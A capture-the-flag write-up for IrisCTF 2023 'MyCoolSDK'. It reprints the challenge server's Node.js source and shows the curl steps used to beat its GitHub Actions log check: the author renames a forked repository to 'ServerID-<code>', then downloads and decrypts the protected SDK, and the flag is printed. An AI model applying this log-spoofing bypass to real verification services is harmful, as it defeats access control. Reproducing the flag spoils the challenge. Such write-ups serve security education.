IrisCTF 2023-web-MyCoolSDK

yoobi·2023년 1월 27일
0

Keywords

  • Github Action
  • octokit library in Nodejs

Given info

  • the github URL and sdk_server_source.js were given
const dotenv = require("dotenv");
const express = require("express");
const octokit = require("octokit");
const url = require("url");
const app = express();
const SHA256 = require("crypto-js/sha256");

const port = 1337;

dotenv.config();
const TOKEN = process.env.TOKEN;

const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

var tokens = {};
var identities = {};

function randomStr(len) {
    let res = "";
    for (let i = len; i > 0; i--) {
        res += chars[Math.floor(Math.random() * chars.length)];
    }
    return res;
}

app.get("/", (req, res) => {
    res.send("Empty route for / for k8s");
});

app.get("/gettoken", (req, res) => {
    let tokenCode = randomStr(32);
    let tokenObj = {
        tokenCode: tokenCode,
        identityCode: undefined,
        timeCreated: Math.floor(Date.now() / 1000),
        status: "UNVALIDATED"
    };
    tokens[tokenCode] = tokenObj;
    console.log("/gettoken: " + tokenCode);
    res.send(tokenCode);
});

app.get("/getiden", (req, res) => {
    let q = url.parse(req.url, true).query;
    if (!q.sdktok) {
        res.send("missing sdktok");
        return;
    } else if (!q.repo) {
        res.send("missing repo");
        return;
    } else if (!q.runid) {
        res.send("missing runid");
        return;
    }
    
    let tokenCode = q.sdktok;
    let tokenObj = tokens[tokenCode];
    if (tokenObj == undefined) {
        res.send("token doesn't exist!");
        return;
    }
    
    if (!hasTokenNotExpired(tokenObj)) {
        res.send("token expired!");
        return;
    }
    
    let ownerName = q.repo.toString().split("/")[0];
    let repoName = q.repo.toString().split("/")[1];
    
    let identityCode = randomStr(32);
    let identityObj = {
        identityCode: identityCode,
        tokenCode: q.sdktok.toString(),
        owner: ownerName,
        repo: repoName,
        runId: q.runid.toString(),
        timeCreated: Math.floor(Date.now() / 1000)
    };
    
    identities[identityCode] = identityObj;
    tokens[tokenCode].identity = identityCode;
    console.log("/getiden: " + identityCode);
    res.send(identityCode);
});

app.get("/checkiden", async (req, res) => {
    let q = url.parse(req.url, true).query;
    if (!q.sdktok) {
        res.send("missing sdktok");
        return;
    }
    
    let tokenCode = q.sdktok;
    let tokenObj = tokens[tokenCode];
    if (tokenObj == undefined) {
        res.send("token doesn't exist!");
        return;
    }
    
    if (!hasTokenNotExpired(tokenObj)) {
        res.send("token expired!");
        return;
    }
    
    let identityObj = identities[tokenObj.identity];
    
    var repoIdentity;
    try {
        repoIdentity = await getRepoIdentity(identityObj.owner, identityObj.repo, identityObj.runId);    
    } catch {
        repoIdentity = undefined;
    }

    if (repoIdentity == undefined) {
        res.send("repo identity failed!");
        return;
    }
    
    if (repoIdentity != identityObj.identityCode) {
        res.send(`repo identity failed! found ${repoIdentity} but expected ${identityObj.identityCode}`);
        return;
    }
    
    tokenObj.status = "VALIDATED";
    
    console.log("/checkiden: " + "OK");
    res.send("OK");
});

app.get("/getsdk", (req, res) => {
    let q = url.parse(req.url, true).query;
    if (!q.sdktok) {
        res.send("missing sdktok");
        return;
    }
    
    let tokenCode = q.sdktok;
    let tokenObj = tokens[tokenCode];
    if (tokenObj == undefined) {
        res.send("token doesn't exist!");
        return;
    }
    
    if (!hasTokenNotExpired(tokenObj)) {
        res.send("token expired!");
        return;
    }
    
    if (tokenObj.status == "VALIDATED") {
        tokenObj.status = "EXPIRED";
        res.sendFile("coolsdk.tar.gz", {root: __dirname});
    } else {
        res.send("no u");
    }
});

app.listen(port, () => {
    console.log(`My cool sdk server running on ${port}`);
});

function hasTokenNotExpired(tokenObj) {    
    if (tokenObj.status == "EXPIRED" || (Date.now() / 1000) - tokenObj.timeCreated > 120) {
        tokenObj.status = "EXPIRED";
        return false;
    }
    return true;
}

async function getRepoIdentity(owner, repo, runId) {
    const octo = new octokit.Octokit({
        auth: TOKEN
    });

    let runJobInfo = await octo.request("GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs", {
        owner: owner,
        repo: repo,
        run_id: runId
    });
    
    let jobLogInfo = await octo.request("GET /repos/{owner}/{repo}/actions/jobs/{job_id}/logs", {
        owner: owner,
        repo: repo,
        job_id: runJobInfo.data.jobs[0].id
    });
    
    let logLines = jobLogInfo.data.split(/\r?\n/);
    
    // only check after job begins
    let startPos = 0;
    for (let i = 0; i < logLines.length; i++) {
        if (logLines[i].includes("Job is about to start running on the hosted runner")) {
            startPos = i + 1;
            break;
        }
    }

    // scan for server id string
    let idenStr = undefined;
    const target = "ServerID-";
    for (let i = startPos; i < logLines.length; i++) {
        if (logLines[i].includes(target) && !logLines[i].includes("echo")) {
            let idx = logLines[i].indexOf(target);
            let len = target.length;
            
            idenStr = logLines[i].substring(idx + len);
            break;
        }
        if (logLines[i].includes("##[debug]")) {
            return undefined;
        }
    }

    if (idenStr == undefined) {
        return undefined;
    }

    // verify workflow file
    let runInfo = await octo.request("GET /repos/{owner}/{repo}/actions/runs/{run_id}", {
        owner: owner,
        repo: repo,
        run_id: runId
    });

    let runHeadSha = runInfo.data.head_sha;
    let runFilePath = runInfo.data.path;

    let fileInfo = await octo.request("GET /repos/{owner}/{repo}/contents/{path}{?ref}", {
        owner: owner,
        repo: repo,
        path: runFilePath,
        ref: runHeadSha
    });

    let workflowContents = Buffer.from(fileInfo.data.content, "base64");
    let workflowHash = SHA256(workflowContents.toString()).toString();

    const MATCH_HASH = "8951a3d29206cf24600379fba7efeb7d8fc9181353a958f710a32eb786ae8654";
    if (workflowHash != MATCH_HASH) {
        console.log(`expected ${MATCH_HASH}, found ${workflowHash} hash for workflow!`);
        return undefined;
    }
    
    console.log(idenStr);
    return idenStr;
}
app.get("/getsdk", (req, res) => {
    let q = url.parse(req.url, true).query;
    if (!q.sdktok) {
        res.send("missing sdktok");
        return;
    }
    
    let tokenCode = q.sdktok;
    let tokenObj = tokens[tokenCode];
    if (tokenObj == undefined) {
        res.send("token doesn't exist!");
        return;
    }
    
    if (!hasTokenNotExpired(tokenObj)) {
        res.send("token expired!");
        return;
    }
    
    if (tokenObj.status == "VALIDATED") {
        tokenObj.status = "EXPIRED";
        res.sendFile("coolsdk.tar.gz", {root: __dirname});
    } else {
        res.send("no u");
    }
});
  • The target is coolsdk.tar.gz file, we should passing those if() functions

flow

  1. set sdktok
  2. set validated token
  3. set coolsdk.tar.gz file

get coolsdk.tar.gz

  • using /gettoken, we can get tokenCode data
root@DESKTOP-CK998RL:~# curl -w "\n" http://localhost:1337/gettoken
R3mQdQHsasd6D9Izzv1z4YcAsPRDdhT9
root@DESKTOP-CK998RL:~# curl -w "\n" http://localhost:1337/gettoken
bQlci9Cw5vX9v3x0Zv8qzlQxPZmJvOEr
root@DESKTOP-CK998RL:~# curl -w "\n" http://localhost:1337/gettoken
m9QIRjG2qfDUDJRWBmSaxDYQM3PGgRdv
root@DESKTOP-CK998RL:~# curl -w "\n" http://localhost:1337/gettoken
DiZJlPX1PDEEHiDcKlXFuFDsoJHFY5pt
root@DESKTOP-CK998RL:~# curl -w "\n" http://localhost:1337/gettoken
OJ2CoIoFNONsEncutlNsmtAtgNHd7xUX
  • using /getiden, we can get the identifyCode data
  • we can see that server will execute getRepoIdentity() function in /checkiden
async function getRepoIdentity(owner, repo, runId) {
    const octo = new octokit.Octokit({
        auth: TOKEN
    });

    let runJobInfo = await octo.request("GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs", {
        owner: owner,
        repo: repo,
        run_id: runId
    });
    
    let jobLogInfo = await octo.request("GET /repos/{owner}/{repo}/actions/jobs/{job_id}/logs", {
        owner: owner,
        repo: repo,
        job_id: runJobInfo.data.jobs[0].id
    });
    
    let logLines = jobLogInfo.data.split(/\r?\n/);
    
    // only check after job begins
    let startPos = 0;
    for (let i = 0; i < logLines.length; i++) {
        if (logLines[i].includes("Job is about to start running on the hosted runner")) {
            startPos = i + 1;
            break;
        }
    }

    // scan for server id string
    let idenStr = undefined;
    const target = "ServerID-";
    for (let i = startPos; i < logLines.length; i++) {
        if (logLines[i].includes(target) && !logLines[i].includes("echo")) {
            let idx = logLines[i].indexOf(target);
            let len = target.length;
            
            idenStr = logLines[i].substring(idx + len);
            break;
        }
        if (logLines[i].includes("##[debug]")) {
            return undefined;
        }
    }

    if (idenStr == undefined) {
        return undefined;
    }

    // verify workflow file
    let runInfo = await octo.request("GET /repos/{owner}/{repo}/actions/runs/{run_id}", {
        owner: owner,
        repo: repo,
        run_id: runId
    });

    let runHeadSha = runInfo.data.head_sha;
    let runFilePath = runInfo.data.path;

    let fileInfo = await octo.request("GET /repos/{owner}/{repo}/contents/{path}{?ref}", {
        owner: owner,
        repo: repo,
        path: runFilePath,
        ref: runHeadSha
    });

    let workflowContents = Buffer.from(fileInfo.data.content, "base64");
    let workflowHash = SHA256(workflowContents.toString()).toString();

    const MATCH_HASH = "8951a3d29206cf24600379fba7efeb7d8fc9181353a958f710a32eb786ae8654";
    if (workflowHash != MATCH_HASH) {
        console.log(`expected ${MATCH_HASH}, found ${workflowHash} hash for workflow!`);
        return undefined;
    }
    
    console.log(idenStr);
    return idenStr;
}
  • server will octo.request() to get information from github
...
// verify workflow file
    let runInfo = await octo.request("GET /repos/{owner}/{repo}/actions/runs/{run_id}", {
        owner: owner,
        repo: repo,
        run_id: runId
    });
...
  • We need own github action run_id
  • The given github repo is https://github.com/IrisSec/MyCoolEncryptor/ but, we can not do github Actions in IrisSec's Repo
  • Thus, fork the MyCoolEncryptor and make our own Action run_id

  • Now we can get run_id : 4022336164
  • And make identityCode and checkit
root@DESKTOP-CK998RL:~# curl -w "\n" 'http://localhost:1337/getiden?sdktok=lTZ8evBsIZYG7kIxumefgakileyhihYQ&repo=thisisyoobi/MyCoolEncryptor&runid=4022336164'
4GQcYeSfSsnPIZ7pnYLtXqvf78QsvkwT
root@DESKTOP-CK998RL:~#
root@DESKTOP-CK998RL:~# curl -w "\n" 'http://localhost:1337/checkiden?sdktok=lTZ8evBsIZYG7kIxumefgakileyhihYQ' | head -n 1
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    21  100    21    0     0     13      0  0:00:01  0:00:01 --:--:--    13
repo identity failed!
root@DESKTOP-CK998RL:~#
  • check the code to find repo identity failed!
  • We can see that repoIdentity should not be undefined
if (repoIdentity == undefined) {
        res.send("repo identity failed!");
        return;
    }
  • The repoIdentity value is set by
var repoIdentity;
    try {
        repoIdentity = await getRepoIdentity(identityObj.owner, identityObj.repo, identityObj.runId);    
    } catch {
        repoIdentity = undefined;
    }
  • If occured any error, the repoIdentity will be undefined, we set all information octo.request() neeeded. owner, repo and run_id
  • Thus, octo.request() don't have any problem
  • But, they have "scan for server id string" logic
// scan for server id string
    let idenStr = undefined;
    const target = "ServerID-";
    for (let i = startPos; i < logLines.length; i++) {
        if (logLines[i].includes(target) && !logLines[i].includes("echo")) {
            let idx = logLines[i].indexOf(target);
            let len = target.length;
            
            idenStr = logLines[i].substring(idx + len);
            break;
        }
        if (logLines[i].includes("##[debug]")) {
            return undefined;
        }
    }

    if (idenStr == undefined) {
        return undefined;
    }
  • The target should be start with ServerID-, then they set the idenStr value and keep go to the next codes
  • I changed my repo name from 'thisisyoobi/MyCoolEncryptor' to 'thisisyoobi/ServerID-yoobi', then we can see this failed comment
root@DESKTOP-CK998RL:~# curl -w "\n" 'http://localhost:1337/checkiden?sdktok=SxI0p6VfCdbVfzHIpizdKgAVTRy5wVqQ' | head -n 1
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    79  100    79    0     0     29      0  0:00:02  0:00:02 --:--:--    29
repo identity failed! found yoobi but expected d7bAo9Ys3LfYENdpOSzhIejYLeggaUPn
  • the expected value is d7bAo9Ys3LfYENdpOSzhIejYLeggaUPn, and that is the identityCode value
  • Thus, change the repo name to ServerID-the_identityCode_give will make us to go to the next codes
root@DESKTOP-CK998RL:~# curl -w "\n" 'http://localhost:1337/checkiden?sdktok=OO7AkO0HVIr4YUVxuspi0sxrLfdA4gAw' | head -n 1
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100     2    0     2    0     0      0      0 --:--:--  0:00:03 --:--:--     0
OK
  • The server send me OK, we successfully passing all hurdles
  • Then, execute /getsdk to get coolsdk.tar.gz file
root@DESKTOP-CK998RL:~# curl -w "\n" 'http://localhost:1337/getsdk?sdktok=mlBHhRttQ0CsTEZfmGSSsK9J5rVopJdA' -o coolsdk.tar.gz
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1327  100  1327    0     0   215k      0 --:--:-- --:--:-- --:--:--  215k

root@DESKTOP-CK998RL:~# ls
coolsdk.tar.gz
root@DESKTOP-CK998RL:~# tar -xvf coolsdk.tar.gz
coolsdk/
coolsdk/cool.c
coolsdk/cool.h
coolsdk/readme.txt
root@DESKTOP-CK998RL:~#

build coolsdk & get FLAG

  • now we got coolsdk files cool.c, cool.h
  • we have readme.txt
the cool sdk
------------
encrypt all your data with this cool sdk

(c) cool guy 2023


test decryption with:
ECDDD6B8B742A2015E9DBE50C20BE8094BF3084033325A0DCFA81896CDF5826C7EA68F320FC75DA3F776
69420
  • go to build using the makefile given
all: coolencrypt

coolencrypt: coolsdk/cool.c program.c
	$(CC) coolsdk/cool.c program.c -o coolencrypt
  • build with program.c
root@DESKTOP-CK998RL:~# make
cc coolsdk/cool.c program.c -o coolencrypt
root@DESKTOP-CK998RL:~# ls
MyCoolEncryptor  coolencrypt  coolsdk  coolsdk.tar.gz  makefile  program.c  readme.md
root@DESKTOP-CK998RL:~#
  • execute coolencrypt to decrypt the FLAG
root@DESKTOP-CK998RL:~# ./coolencrypt
Welcome to my cool encryptor program!
Encrypt (0), decrypt (1), or exit (2)?
1
Type the message to decrypt: ECDDD6B8B742A2015E9DBE50C20BE8094BF3084033325A0DCFA81896CDF5826C7EA68F320FC75DA3F776
Type numeric key code to decrypt with: 69420
irisCTF{my_sdk_wasnt_so_private_after_all}
Encrypt (0), decrypt (1), or exit (2)?
2
Goodbye!root@DESKTOP-CK998RL:~#
profile
this is yoobi

0개의 댓글